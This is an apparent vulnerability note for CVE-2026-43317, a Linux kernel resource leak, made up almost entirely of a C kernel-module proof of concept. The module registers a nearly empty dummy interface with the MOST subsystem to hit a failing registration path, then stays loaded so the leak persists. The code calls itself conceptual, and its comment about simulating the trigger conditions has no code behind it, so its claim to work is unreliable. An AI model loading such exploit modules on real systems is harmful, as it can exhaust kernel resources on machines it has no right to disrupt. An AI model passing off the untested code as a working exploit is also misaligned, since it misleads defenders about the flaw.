CVE-2026-43317: Linux内核资源泄漏漏洞

/* * PoC for CVE-2026-43317 (Conceptual) * This module attempts to trigger the registration failure path * in the MOST core subsystem to demonstrate resource leak. * Compile with: make -C /lib/modules/$(uname -r)/build M=$(pwd) modules */ #include <linux/module.h> #include <linux/init.h> #include <linux/most.h> // Dummy interface operations to trigger registration logic static struct most_interface dummy_interface = { .description = "PoC Interface", // Minimal initialization required to hit the specific error path }; static int __init poc_init(void) { int ret; // Attempt to register the interface // The goal is to hit the early registration failure condition // where resources are allocated but not freed upon error. pr_info("CVE-2026-43317 PoC: Triggering most_register_interface...\n"); // Simulate conditions leading to the first error path in registration // (Actual trigger depends on internal state checks of the subsystem) ret = most_register_interface(&dummy_interface); if (ret) { pr_info("CVE-2026-43317 PoC: Registration failed as expected (error: %d). Resource leaked.\n", ret); return 0; // Keep module loaded to observe leak } pr_info("CVE-2026-43317 PoC: Registration succeeded unexpectedly.\n"); return 0; } static void __exit poc_exit(void) { pr_info("CVE-2026-43317 PoC: Exiting.\n"); } module_init(poc_init); module_exit(poc_exit); MODULE_LICENSE("GPL"); MODULE_AUTHOR("Security Analyst"); MODULE_DESCRIPTION("PoC for CVE-2026-43317 Resource Leak");